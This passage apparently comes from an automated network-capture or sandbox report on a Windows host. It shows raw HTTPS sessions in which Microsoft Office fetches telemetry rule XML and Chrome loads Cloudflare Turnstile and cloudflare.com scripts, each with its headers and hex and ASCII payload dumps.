0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 279d1d39-801e-00a3-75d8-1e7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155649Z-r197bdfb6b4kkrkjmxpfy2et1000000008h000000000btem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:49 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:50 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 37bf9419-001e-0049-58d8-1e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155649Z-15b8d89586fnsf5zv100scmx10000000026g000000009xm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49862	104.18.95.41	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:50 UTC	560	OUT	GET /turnstile/v0/b/62ec4f065604/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:50 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:50 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47460 Connection: close accept-ranges: bytes last-modified: Tue, 01 Oct 2024 14:19:56 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8d393dbe3cf63bf1-MEM alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:50 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 68 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 68 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 6e 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function rt(e,r){return r=r!=nu
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 6e 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return nt(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function U(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var n={label:0,sent:function(){if(l[0
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var Ue=300030;var Ve=300031;var q;(fu
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e Data Ascii: e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(fun
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 Data Ascii: function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.s
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 68 3d 4c 28 4e 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 6b 72 2c 28 66 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c Data Ascii: ==Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,h=L(Nr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(kr,(f=(n=e.displayLanguage)===null\|\|n===void 0?void 0:n.toLowerCase())!==nul
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 68 29 7b 76 61 72 20 66 3d 5b 6e 75 6c 6c 5d 3b 66 2e 70 75 73 68 2e 61 70 70 6c 79 28 66 2c 6c 29 3b 76 61 72 20 70 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 66 29 2c 73 3d 6e 65 77 20 70 3b 72 65 74 75 72 6e 20 68 26 26 4a 28 73 2c 68 2e 70 72 6f 74 6f 74 79 70 65 29 2c 73 7d 2c 49 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3a 66 75 6e 63 74 69 6f 6e Data Ascii: {return Be()?Ie=Reflect.construct:Ie=function(c,l,h){var f=[null];f.push.apply(f,l);var p=Function.bind.apply(c,f),s=new p;return h&&J(s,h.prototype),s},Ie.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Object.getPrototypeOf:function
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 57 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 57 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 57 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 69 66 28 56 28 Data Ascii: tion b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function qe(e){return e.startsWith(We)?e.substring(We.length):null}function K(e){return"".concat(We).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=document.currentScript;if(V(
2024-10-16 15:56:50 UTC	1369	IN	Data Raw: 58 3d 22 68 69 64 64 65 6e 22 2c 66 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 66 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b 76 61 72 20 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 73 2e 63 6c 61 Data Ascii: X="hidden",f.style.overflowY="auto",f.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";var s=document.createElement("div");s.cla

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:50 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:50 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:50 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 2b07ac6c-201e-003c-64d8-1e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155650Z-16b659b4499v5jm96nrcwszga0000000071000000000vy2e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:50 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:50 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:50 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:50 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 90cb1d1e-701e-001e-57d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155650Z-15b8d89586fcvr6pym2snavm4w00000002d0000000005hvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:50 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49871	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:51 UTC	569	OUT	GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:51 UTC	950	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:51 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"40c067dcfc91846b5c04d47eb89d9b3d" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HgeM7cwYd4ZgsPZolctKvY466%2FZRo1A916zHUz2GglpXEhdnd2bOZG0W2sZE9dAvTDjhk8KzltnxkKC8DTozsvOSAu1w29MCqhybdXQ0lABQdXHHNOAz039LyB3hjS4MAtNbng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393dc359dc6be0-DFW alt-svc: h3=":443"; ma=86400
